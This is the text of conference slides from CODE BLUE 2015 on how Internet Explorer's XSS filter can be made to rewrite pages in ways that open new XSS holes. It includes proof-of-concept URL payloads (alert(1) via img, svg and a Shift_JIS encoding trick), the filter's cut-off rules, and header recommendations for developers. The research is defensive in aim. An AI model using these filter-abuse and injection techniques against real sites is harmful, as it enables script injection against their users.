XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

X-XSS-Nightmare: 1; mode=attack
XSS Attacks Exploiting XSS
Filter
(Prudence Edition)
Masato Kinugawa

Self-Introduction
Masato Kinugawa

Self-Introduction
Masato Kinugawa
x
s

Self-Introduction
Masato Kinugawa
x
s
B

Bug-hunter's Joy
Self-Introduction

Today's topics
❶XSS technique
❷Bypass XSS filter technique
Using IE’s XSS filter

Today's topics
❶XSS technique
❷Bypass XSS filter technique
Using IE’s XSS filter
Sorry! I Changed today's topics!

Today's topics
What is XSS filter?
How to associate with XSS filter?

XSS Filter
Chrome and Safari have the same function.
➡This time, I pick up IE's filter.
It was introduced from IE8.(2009)

Basic of XSS filter of IE
http://example.com/?q=<img+src=x+onerror=alert(1)>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
q param is: <img src=x onerror=alert(1)>
</body>
</html>
Before cut-off
If request and response are matched with
dangerous condition, XSS filter rewrites a page.

Like this #
http://example.com/?q=<img+src=x+onerror=alert(1)>
<!DOCTYPE html>
<html>
<head>
</head>
<body>
q param is: <img src=x #nerror=alert(1)>
</body>
</html>
If request and response are matched with
dangerous condition, XSS filter rewrites a page.
After cut-off

Inaccuracy of XSS Filter
If matched with the condition, XSS filter
rewrites a string unrelated to part of a
dynamic creation of user input.
http://example.com/?q=AAA&<meta+charset=
<!DOCTYPE html>
<html>
<head>
<m#ta charset="utf-8">
</head>
<body>
q param is: AAA
</body>
</html>

World of after introduction
of XSS filter
All site suddenly had the possibility of
partial rewrite of a page.
#
#
#
2008 2009

About little change
Is it no big deal?
➡Let’s think about changing
1 byte at somewhere!
#
#
#

http://example.com/?q=AAA
<!DOCTYPE html>
<html>
<head>
<title>TEST</title>
</head>
<body>
<script>
s="AAA".replace(/</g,'<');
document.write(s);
</script>
</body>
</html> Dynamic creation of
User's input to inside
of string literal

http://example.com/?q="/</script
<!DOCTYPE html>
<html>
<head>
<title>TEST</title>
</head>
<body>
<script>
s=""/</script".replace(/</g,'<');
document.write(s);
</script>
</body>
</html> XSS measures is OK

http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html>
<html>
<head>
<title>TEST</title>
</head>
<body>
<script>
s="<svg/onload=alert(1)>".replace(/</g,'<');
document.write(s);
</script>
</body>
</html>

<!DOCTYPE html>
<html>
<head>
<title>TEST</title>
</head>
<body>
<script>
document.write(s);
</script>
</body>
</html> <svg/onload=alert(1)>

<!DOCTYPE html>
<html>
<head>
<title>TEST</title>
</head>
<body>
<scr#pt>
document.write(s);
</script>
</body>
</html>

<!DOCTYPE html>
<html>
<head>
<title>TEST</title>
</head>
<body>
<script>
s="<svg/onload=alert(1)>".replace(/#/g,'<');
document.write(s);
</script>
</body>
</html>

<!DOCTYPE html>
<html>
<head>
<title>TEST</title>
</head>
<body>
<script>
s="<svg/onload=alert(1)>".replace(/#/g,'<');
document.write(s);
</script>
</body>
</html> <svg/onload=alert(1)>

http://example.com/?q=</title><svg/onload=alert(1)>
<!DOCTYPE html>
<html>
<head>
<title>TEST</title>
</head>
<body>
<script>
s="</title><svg/onload=alert(1)>".replace(/</g,'&l
t;');
document.write(s);
</script>
</body>
</html>

http://example.com/?q=</title><svg/onload=alert(1)>
<!DOCTYPE html>
<html>
<head>
<title>TEST</ti#le>
</head>
<body>
<script>
s="</title><svg/onload=alert(1)>".replace(/</g,'&l
t;');
document.write(s);
</script>
</body>
</html>

http://example.com/?q=%E3%81%95";alert(1)//
<!DOCTYPE html>
<html>
<head>
<title>TEST</title>
</head>
<body>
<script>
s="さ";alert(1)//".replace(/</g,'<');
document.write(s);
</script>
</body>
</html>

<!DOCTYPE html>
<html>
<head>
<title>TEST</title>
</head>
<body>
<script>
s="さ";alert(1)//".replace(/</g,'<');
document.write(s);
</script>
</body>
</html>

Interpretation of UTF-8
"さ";alert(1)//"
0xE3 0x81 0x95 0x5C
UTF-8 さ
Shift_JIS 縺表

"縺表";alert(1)//"
Interpretation of Shift_JIS
0xE3 0x81 0x95 0x5C
UTF-8 さ
Shift_JIS 縺表

<!DOCTYPE html>
<html>
<head>
<title>TEST</title>
</head>
<body>
<script>
s="縺表";alert(1)//".replace(/</g,'<');
document.write(s);
</script>
</body>
</html>

Basically,
Even 1 byte of change is risk.
In the past,
If you don't do careful, Rewrite of
XSS filter also becomes vulnerable.
https://media.blackhat.com/bh-eu-10/presentations/Lindsay_Nava/BlackHat-EU-
2010-Lindsay-Nava-IE8-XSS-Filters-slides.pdf
Universal XSS via IE8s XSS Filters
Eduardo Vela Nava & David Lindsay

2015: Is it safe at now?
Let’s see
how much real cut-off rule is!
I found XSS vulnerable patterns page
of normal structure which has no XSS
It is safe…no, it doesn't!
Apart from it this
This case will publish after modify.

Cut-off Rule
It isn't documented in particular.
We can see the loading binary to browser of dll
include regular expression of cut-off strings.

<button value=
<form>
<textarea>
<isindex>
<input value=
<option value=
<embed src=
<embed type=
<iframe src=
<frame src=
<x:vmlframe src=
<link href=
<import implementation=
<meta http-equiv=
<meta charset=
<a href
<script src=
<script xlink:href=
<script href=
<script>
<applet>
<object type=
<object codetype=
<object classid=
<object code=
<object data=
<base href=
<style>@i
<style>:(
<style>:
<style>=(
<style>=

<button va#ue=
<fo#m>
<texta#ea>
<is#ndex>
<input va#ue=
<option va#ue=
<em#ed src=
<em#ed type=
<if#ame src=
<f#ame src=
<x:vmlf#ame src=
<li#k href=
<im#ort implementation=
<m#ta http-equiv=
<m#ta charset=
<a hr#f
<script src=
<script xlink:href=
<script href=
<script>
<ap#let>
<ob#ect type=
<ob#ect codetype=
<ob#ect classid=
<ob#ect code=
<ob#ect data=
<ba#e href=
<style>@i
<style>:(
<style>:
<style>=(
<style>= After cut-off

<a hr#f
<m#ta charset=
<li#k href=
<script>
DEMO❶
❷
❸
❹

I want you to feel it
Safety of your site is depend on XSS filter.
➡Is it browser's bug?
Should browser do something about it?
I can not say rewrite of page is always safe.

From the first, your page is
Can you declare your site that can
stand up to partial breakdown?

XSS filter can do this
XSS filter very carefully rewrites a page.
#

In fact
In some case, it is possible to
not operate specific function
from intentional false positive.
(…)
Did the author of XSS filter
introduce XSS filter while
recognizing about the risks?
(or not) I’m interested a little
about it.
Mr. Terada's blog
http://d.hatena.ne.jp/teracc/2
0090622
Browser side introduced it, knowing the risk.
Mr. Terada and Mr. Hasegawa's log at 6 years ago is as follows:

In fact
http://b.hatena.ne.jp/entry/14131603/comment/hasegawayosuke
Insider said
"The answer is Yes. ".
Mr. Hasegawa
Browser side introduced it, knowing the risk.
Mr. Terada and Mr. Hasegawa's log at 6 years ago is as follows:
➡Does Web developer use it
while taking care of the risk?

What is
"taking care of the risk"?
✔ you should completely grasp XSS filter's cut-
off action.
✔ If the part of the page is rewritten, you should
inspect all page for normal operation and safety.
✔ If the page includes dangerous part, you
should rewrite the code one by one for
avoidance.
Then, you should do as follows:
Can you do those?

Example of cut-off string
javascript:1
vbscript:1
vbs:1

Example of cut-off string
javasc#ipt:1
v#script:1
v#s:1
Is this simple?

Detail of cut-off of javascript:
{(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))([t]|(&(([#()[].]x?0
*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()[].]x?0*((65)|(
41)|(97)|(61));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)
|(newline;))))*(v|(&[#()[].]x?0*((86)|(56)|(118)|(76));?))([t]|(&(
([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()[
].]x?0*((65)|(41)|(97)|(61));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|
A|D);?)|(tab;)|(newline;))))*(s|(&[#()[].]x?0*((83)|(53)|(115)|(73)
);?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;)))
)*(c|(&[#()[].]x?0*((67)|(43)|(99)|(63));?))([t]|(&(([#()[].]x?0
*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&[#()[].]x?0*((82)|(
52)|(114)|(72));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;
)|(newline;))))*(i|(&[#()[].]x?0*((73)|(49)|(105)|(69));?))([t]|(&
(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&[#()[
].]x?0*((80)|(50)|(112)|(70));?))([t]|(&(([#()[].]x?0*(9|(13)|(10
)|A|D);?)|(tab;)|(newline;))))*(t|(&[#()[].]x?0*((84)|(54)|(116)|(7
4));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;)
)))*(:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))).}

Detail of cut-off of javascript:
{(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))([t]|(&(([#()[].]x?0
*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()[].]x?0*((65)|(
41)|(97)|(61));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)
|(newline;))))*(v|(&[#()[].]x?0*((86)|(56)|(118)|(76));?))([t]|(&(
([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()[
].]x?0*((65)|(41)|(97)|(61));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|
A|D);?)|(tab;)|(newline;))))*(s|(&[#()[].]x?0*((83)|(53)|(115)|(73)
);?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;)))
)*(c|(&[#()[].]x?0*((67)|(43)|(99)|(63));?))([t]|(&(([#()[].]x?0
*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&[#()[].]x?0*((82)|(
52)|(114)|(72));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;
)|(newline;))))*(i|(&[#()[].]x?0*((73)|(49)|(105)|(69));?))([t]|(&
(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&[#()[
].]x?0*((80)|(50)|(112)|(70));?))([t]|(&(([#()[].]x?0*(9|(13)|(10
)|A|D);?)|(tab;)|(newline;))))*(t|(&[#()[].]x?0*((84)|(54)|(116)|(7
4));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;)
)))*(:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))).}
http://masatokinugawa.l0.cm/2012/09/xss3.html

If you can do those,
✔ you should completely grasp XSS filter's cut-
off action.
✔ If the part of the page is rewritten, you should
inspect all page for normal operation and safety.
✔ If the page includes dangerous part, you
should rewrite the code one by one for
avoidance.
I think you can modify all XSS on your site...
➡What is the best?

X-XSS-Protection:
Value Effect
0 Disable
1
Enable
(Partial rewrite)
1;mode=block
Enable
(Prevent rendering of the page)
Default
The response header that can control
XSS filter.

How are
careful persons doing?

HTTP/2.0 200 OK
Date: Mon, 19 Oct 2015 22:32:06 GMT
Content-Type: text/html; charset=UTF-8
Content-Encoding: gzip
Server: gws
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
...

HTTP/1.1 200 OK
Content-Encoding: gzip
Content-Type: text/html
Date: Mon, 19 Oct 2015 22:40:37 GMT
x-content-type-options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 0
...

They are calculatingly
controlling!!

The choice which
considered more safety
Value Sites which should choose header
0
They are measuring basic XSS.
/They want to remove false-negative.
1
Not recommended
(Discovered technique affects here.)
1;mode
=block
It is probable that the site have XSS.
/They want to protect site just in case.
default
X-XSS-Protection:0 or 1;mode=block

Is mode=block safe?
It should don't affect direct script execution.
I think a favor of the filter is bigger than it.
If feature of cut-off can detect from outside,
they may guess page contents.
This possibility probably can't be changes
to zero.
On the other hand…

Comments for Web
developer
Me
How about changing to
1;mode=block?

Comments for Web
developer
How about changing to
1;mode=block?
Cut-off explanation is unkind,
It is difficult when user support
of false-negative…
Dev
Me

Cut-off explanation is
unkind.
Sure…

I think this site is measuring basic XSS,
Would you like to use X-XSS-Protection:0?
Me
Comments for Web
developer

I think this site is measuring basic XSS,
Would you like to use X-XSS-Protection:0?
Me
User may think about setting of
infelicity security function with
highly priority of product action.
Dev
Comments for Web
developer

Trap of XSS filter
XSS filter cut off only attacked position then it
shows other position, it seems like the smartest.
0 1 block
This action is the risk.

Conclusions
I'm hoping for improvement of XSS filter.
It should still be possible to do safely.
Is present default action really OK?
In theory, cut-off risk is inseparable from
XSS filter.
I want web developer to know this possibility.
I highly recommend XSS protection control
except default action.

http://l0.cm/xxn/
Real Nightmare will be
published on this URL.
lower-case of L and Zero

";alert#"Thanks!"#//
@kinugawamasato
masatokinugawa@gmail#com

XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

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